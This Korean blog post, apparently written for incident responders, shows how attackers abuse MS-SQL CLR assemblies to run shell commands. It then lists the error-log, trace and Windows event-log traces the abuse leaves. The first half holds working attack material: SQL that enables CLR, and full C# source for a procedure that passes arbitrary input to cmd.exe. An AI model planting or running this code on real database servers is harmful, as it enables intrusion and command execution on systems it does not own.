공부/Forensic

MS-SQL 대상 공격 방식 중 하나인 CLR Assembly(Shell) 공격 : MS-SQL Attacks via the CLR as an alternative to xp_cmdshell

2023. 4. 11. 16:07
목차
  1. 🗣️ Introduction
  2. ℹ️ Test environment
  3. 🥇 Enable CLR
  4. ✍️Create DLL file
  5. 💉 Import CLR DLL into SQL Server
  6. 🔪 Attack MS-SQL Server
  7. ⚠️ MS-SQL - Error Log
  8. 🏃 MSSQL - Trace Log
  9. 🕢 Windows - EventLog
728x90
반응형

🗣️ Introduction

MS-SQL에서는 xp_cmdshell이라는 프로시저를 통해 Windows Command 명령을 수행할 수 있습니다. 하지만 보안상의  이유로 기본적으로 비활성화되어 있으며, xp_cmdshell을 통한 명령 실행의 경우에도 필터링 등으로 차단될 가능성이 높다.

SQL Server 2005 부터 Microsoft Windows .NET Framework 의 CLR(Common Language Runtime) 기능을 제공합니다.  이를 통해, NET Framework 언어로 작성된 코드를 SQL Server에서 실행할 수 있게되어 C# 또는 Visual Basic .NET과 같은 .NET Framework 언어로 작성된 함수, 프로시저, 데이터 형식 등을 SQL Server에서 직접 호출하여 사용할 수 있습니다.    이로 인해, CLR 기능을 사용하여 복잡한 계산을 수행하거나, 외부 데이터에 액세스하거나, 파일 시스템에 대한 작업을 수행할 수 있습니다.

하지만, 이러한 다양한 기능의 제공은 새로운 보안 위협이 되고 있으며, 공격자는 취약한 서버를 대상으로 더욱 은밀하게 공격을 수행할 수 있습니다.

👊 How to Attacking SQL Server CLR Assemblies?

ℹ️ Test environment

  • OS : Windows Server 2019 Datacenter Build 17763
  • SQL : Microsoft SQL Server 2022(Ver 16.0.1000.6)
  • Tool :
    • SQL Server Management Studio 19.0.20200.0
    • Microsoft .NET Framework 4.0.30319.42000

🥇 Enable CLR

먼저 공격자는 외부에 공개된 데이터베이스를 대상으로 무작위 대입 공격을 통해 시스템 계정 또는 sysadmin 이상의    .권한을 가진 Database 계정의 탈취를 시도합니다. 계정 탈취에 성공한 경우, xp_cmdshell을 활성화하는 방식과 동일하게 clr enabled옵션을 통해 CLR을 활성화합니다.

--전역 구성 설정 확인
SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1

GO

-- CLR 활성
SP_CONFIGURE 'CLR ENABLED', 1

GO

-- 설정 반영
RECONFIGURE WITH OVERRIDE

GO

 

✍️Create DLL file

공격 수행에 앞서, 명령을 처리해줄 DLL을 생성해야합니다. .Net Framework 언어로 작성된 DLL은 모두 상관 없으며, 본 문서에서는 C#을 활용하여 CMD를 통해 명령을 실행하는 DLL을 생성합니다.

아래 코드는 cmd.exe를 통해 임의의 명령을 실행하는 DLL 코드입니다.

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec(SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\\Windows\\System32\\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();
        // Create the record and specify the metadata for the columns.
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));

        // Mark the beginning of the result set.
        SqlContext.Pipe.SendResultsStart(record);
        // Set values for each column in the row
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
        // Send the row back to the client.
        SqlContext.Pipe.SendResultsRow(record);

        // Mark the end of the result set.
        SqlContext.Pipe.SendResultsEnd();

        proc.WaitForExit();
        proc.Close();
    }
};

</aside>

💉 Import CLR DLL into SQL Server

먼저 SSMS(SQL Server Management Studio)를 통해 대상 데이터베이스 서버에 접근합니다.

`그림 1. SMSS를 통한 DB 접근

이후, msdb 데이터베이스를 대상으로 앞서 컴파일한 DLL을 Import 합니다.
이때, 아래 [그림 4]를 참고하여, 권한을 "제한 없음"으로 설정하여 추가합니다.

그림2. MS-SQL 데이터베이스 정보
그림3. 어셈블리 추가
그림 4. 새 어셈블리 추가

추가 이후 위의 [그림 2]와 달리 shell이라는 어셈블리가 추가된 것을 확인할 수 있습니다.

그림 5. 추가된 악성 어셈블리

🔪 Attack MS-SQL Server

먼저, 악성 어셈블리가 로드된 데이터베이스로 데이터베이스를 변경합니다.

--악성 어셈블리가 추가된 DB로 변경
use msdb;

 

이후 어셈블리 내 함수를 프로시저로 생성합니다.

-- 어셈블리 내 cmd_exec를 프로시저로 생성
CREATE PROCEDURE [dbo].[생성할 프로시저 명] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [어셈블리 명].[StoredProcedures].[어셈블리 내 함수 명]; 
GO

 

명령을 실행합니다.

cmd_exec 'whoami'

 

그림 6. 명령 실행 결과

📖 Analyze CLR Attack

MS-SQL 서버에서 CLR(Common Language Runtime) 기능을 악용한 침해사고를 분석하려면, 윈도우 이벤트 로그 및 MSSQL 로그를 참조해야 합니다. 다음은 MS-SQL 서버에 대한 침해사고 분석시 도움이 될 수 있는 주요 로그들과 그 역할입니다.

  1. SQL Server Error Log 
    SQL Server 오류 로그는 SQL Server 구성 요소의 정보, 경고 및 오류 메시지를 기록합니다. CLR과 관련된 오류 메시지를 찾아, CLR 기능이 악용되었는지 확인할 수 있습니다.
  2. SQL Server Audit Log
    SQL Server 감사 로그는 SQL Server 인스턴스에 대한 데이터 액세스 및 데이터 변경을 추적합니다. CLR 기능 악용에 관련된 쿼리 또는 이벤트를 찾을 수 있습니다. 사용자가 CLR 어셈블리를 생성, 변경 또는 삭제하는 경우 감사 로그에서 이를 확인할 수 있습니다.
  3. Windows Event Log
    Windows 이벤트 로그는 SQL Server와 관련된 운영 체제 수준의 이벤트를 기록합니다. CLR 관련 오류, 경고 또는 정보 이벤트를 찾을 수 있습니다. 이벤트 로그를 사용하여 로그인 실패, 권한 변경 및 서버 수준의 구성 변경을 확인할 수도 있습니다.
  4. SQL Server Profiler Trace
    SQL Server Profiler를 사용하여 생성한 트레이스는 SQL Server에서 발생하는 이벤트에 대한 자세한 정보를 제공합니다. CLR 기능을 악용한 쿼리나 이벤트를 확인할 수 있습니다. 또한, 특정 사용자에 의한 CLR 관련 작업을 추적할 수도 있습니다.
  5. Extended Events
    SQL Server Extended Events는 세부적인 정보와 함께 서버에서 발생하는 이벤트를 수집하는 경량 로깅 시스템입니다. CLR 기능을 악용하는 데 사용된 쿼리, 이벤트 및 작업을 식별하고 분석할 수 있습니다.

⚠️ MS-SQL - Error Log

SQL Server ERROR LOG는 SQL Server 구성 요소의 정보, 경고 및 오류 메시지를 기록합니다.

따라서, 명령 호출 단계에서의 CLR과 관련된 Error Messages 또는 CLR 기능이 악용되었는지 확인할 수 있습니다. 아래는 SQL Server의 Error Log 에서 확인 가능한 부분은 어셈블리 추가 이후, 아래 명령을 통한 Procedure 생성 로그를 확인할 수 있었습니다.

아래는 ERRORLOG 내 프로시저 생성과 관련된 로그입니다.

2023-03-22 10:50:26.59 spid66      AppDomain 2 (msdb.dbo[runtime].1) created.

이후, 공격자가 생성한 프로시저를 활용하여 명령을 수행할 경우, 아래와 같은 로그를 확인할 수 있습니다. 이는 어셈블리 추가 당시, 권한 설정을 “제한 없음”으로 설정할 경우 MS-SQL은 안전하지 않은 어셈블리로 판단하여 기록되는 로그로 판단됩니다.

2023-03-22 11:02:30.37 spid52      Unsafe assembly 'mssql clr excute test, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil' loaded into appdomain 2 (msdb.dbo[runtime].1).
2023-03-22 11:02:30.38 spid52      Unsafe assembly 'mssql clr excute test, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil' loaded into appdomain 2 (msdb.dbo[runtime].1).

🏃 MSSQL - Trace Log

MS-SQL Server의**Trace Log**는 SQL Server 인스턴스에서 발생하는 이벤트 및 작업의 세부 정보를 기록하는 로그입니다. 이 로그는 SQL Server의 다양한 작업 및 이벤트, 예를 들어 새로운 연결, 쿼리 실행, 성능 카운터 정보, 오류 메시지 등을 기록합니다.

해당 로그에서는 어셈블리 등록시 확인할 수 있는 Trace Log이다. 아래 표의, ObjectName을 확인해보면 등록한 어셈블리 명을 확인할 수 있다.

그림 7. MS-SQL TraceLog

또한, Trace Log에서 Procedure가 생성된 시각도 확인할 수 있습니다.

그림 8. MS-SQL TraceLog

다만, 실행된 명령이나 흔적은 확인할 수 없었습니다.

그러나, “SQL Server Profiler”를 통해 Trace를 생성하여 확인하는 경우 입력한 명령어등을 확인할 수 있습니다.

🕢 Windows - EventLog

**Windows EventLog**는 Microsoft Windows 운영 체제에서 발생하는 시스템, 보안, 응용 프로그램 등과 관련된 다양한 이벤트와 정보를 기록하고 관리하는 로깅 시스템입니다. 이벤트 로그는 시스템 관리자나 IT 전문가들이 컴퓨터의 작동 상태를 모니터링하고, 문제를 진단하며, 보안 감사를 수행하는데 사용되는 중요한 로그입니다.

아래는 MS-SQL에서 CLR Store Procedutre를 통한 침해사고 발생 시 확인할 수 있는 이벤트 로그입니다.

Event ID : 5084- 데이터베이스 %3!에 대해 데이터베이스 옵션 %1!을(를) %2!(으)로 설정합니다.

그림 9.&nbsp;TRUSTWORTHY 옵션 변경

해당 이벤트 로그는 특정 데이터베이스의 옵션을 변경할 때 발생합니다. 여기서 변경된 “TRUSTWORTHY” 속성은 SQL Server에서 사용되는 데이터베이스 설정 옵션입니다. 이 속성은 데이터베이스가 외부 리소스에 대한 액세스를 가질 때 시스템 리소스에 대한 높은 수준의 액세스 권한을 부여하는데 사용됩니다. 기본적으로 데이터베이스는TRUSTWORTHY 속성이 꺼져 있는 상태로 생성됩니다. 따라서, 공격자는 해당 옵션을 활성화하여 데이터베이스에 있는 코드 모듈(예: 저장 프로시저, 트리거, 사용자 정의 함수 등)이 높은 권한으로 실행되어 시스템 리소스에 액세스할 수 있게 됩니다.

Event ID : 6299 - AppDomain %1!(%2!)을(를) 작성했습니다.

그림 10. Assembly 추가 당시 생성되는 이벤트 로그

해당 이벤트 로그에서는 CLR을 통해 실행할 수 있는 .NET Assembly가 추가된 경우 생성되는 이벤트입니다. 해당 이벤트를 통해 특정 시간에 .NET Assembly가 서버에 로드된 시점을 확인할 수 있습니다. 다만, 해당 .NET Assembly가 어떤 기능을 수행하는지에 대해서는 확인할 수 없습니다. 또한, AppDomain은 SQL Server에서 CLR(Common Language Runtime)을 호스팅하는 격리된 메모리 공간으로, SQL Server에서 .NET 어셈블리를 로드하고 실행하는데 사용되며, 다양한 어셈블리 간의 격리 및 보안을 제공합니다.

Event ID : 15457 - 구성 옵션 ‘%1’이(가) %2에서 %3(으)로 변경되었습니다. RECONFIGURE 문을 실행하여 설치하십시오.

그림 11. CLR Enabled 옵션 활성화

이 이벤트 로그는 .NET Assembly를 로드하고 실행하기 전에 기본적으로 비활성화된 CLR을 활성화하는 경우에 발생합니다. 이 로그를 통해 CLR의 기존 활성화 상태(예: "%1"이 1이면 이미 활성화된 것으로 간주)를 확인할 수 있습니다.    공격자들은 종종 침투 후 이 옵션을 우선적으로 활성화하므로, 이 이벤트의 발생 시점을 최초 침투 시점으로 간주할 수 있습니다.
728x90
반응형
저작자표시 비영리 (새창열림)

'공부 > Forensic' 카테고리의 다른 글

AnyDesk를 통한 침해사고 로그 분석  (0) 2023.04.18
아파치 모듈 백도어 기능 및 아티팩트 분석: Apache Mod_Backdoor operation method and Artifact analysis  (0) 2023.04.11
디지털 포렌식의 일반원칙(디지털 포렌식 5원칙)  (0) 2021.02.19
Digital Forensic / Incident Response  (0) 2021.01.21
OSINT(오신트) - Open Source INTelligence란?  (0) 2021.01.17
  1. 🗣️ Introduction
  2. ℹ️ Test environment
  3. 🥇 Enable CLR
  4. ✍️Create DLL file
  5. 💉 Import CLR DLL into SQL Server
  6. 🔪 Attack MS-SQL Server
  7. ⚠️ MS-SQL - Error Log
  8. 🏃 MSSQL - Trace Log
  9. 🕢 Windows - EventLog
'공부/Forensic' 카테고리의 다른 글
  • AnyDesk를 통한 침해사고 로그 분석
  • 아파치 모듈 백도어 기능 및 아티팩트 분석: Apache Mod_Backdoor operation method and Artifact analysis
  • 디지털 포렌식의 일반원칙(디지털 포렌식 5원칙)
  • Digital Forensic / Incident Response
a2sembly
a2sembly
정보보안 블로그!
250x250
반응형
a2sembly
CALL DWORD PTR DS:[a2sembly]
a2sembly
전체
오늘
어제
  • 전체글 (62)
    • MITRE ATT&CK (3)
    • 공부 (47)
      • Reverse Engineering (6)
      • Forensic (9)
      • Network (1)
      • Write-up (17)
      • Programming (5)
      • ETC (6)
      • 정보보안기사 (3)
    • 기타 (4)
    • 스크랩 (7)
    • Threat Intelligence (1)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • CTF
  • 포렌식
  • webhacking
  • Dreamhack
  • 디지털 포렌식
  • 리버스 엔지니어링
  • rev-basic
  • 랜섬웨어
  • Pwnable
  • 정보기
  • 웹해킹
  • 사고분석
  • 드림핵
  • ATT&CK
  • 오블완
  • 분석
  • MITRE
  • 정보보안
  • dreamhack.io
  • 티스토리챌린지
  • WEB
  • digital forensic
  • 보안
  • 리버싱
  • python
  • 해킹
  • lfi
  • 정보보안기사
  • hacking
  • 침해사고

최근 댓글

최근 글

hELLO · Designed By 정상우.
a2sembly
MS-SQL 대상 공격 방식 중 하나인 CLR Assembly(Shell) 공격 : MS-SQL Attacks via the CLR as an alternative to xp_cmdshell
상단으로

티스토리툴바

개인정보

  • 티스토리 홈
  • 포럼
  • 로그인

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.